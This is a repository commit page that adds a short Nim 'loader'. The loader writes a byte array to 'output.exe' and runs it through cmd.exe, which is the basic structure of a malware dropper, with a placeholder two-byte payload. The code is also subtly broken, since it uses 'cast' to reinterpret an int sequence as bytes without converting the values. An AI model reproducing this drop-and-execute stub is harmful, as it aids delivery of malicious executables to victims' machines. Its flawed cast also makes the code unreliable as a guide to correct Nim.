[S] NIM loader. takes a bytearray as input.
This commit is contained in:
12
elinethingz/loader.nim
Normal file
12
elinethingz/loader.nim
Normal file
@@ -0,0 +1,12 @@
|
||||
import osproc
|
||||
|
||||
proc writeBytesToFileAndExecute(bytes: seq[byte], outputFile: string) =
|
||||
writeFile(outputFile, bytes)
|
||||
|
||||
let cmd = "cmd.exe /C " & outputFile
|
||||
discard execCmd(cmd)
|
||||
|
||||
|
||||
let outputFileName = "output.exe"
|
||||
let byteList = cast[seq[byte]](@[0x40,0x80])
|
||||
writeBytesToFileAndExecute(byteList, outputFileName)
|
||||
Reference in New Issue
Block a user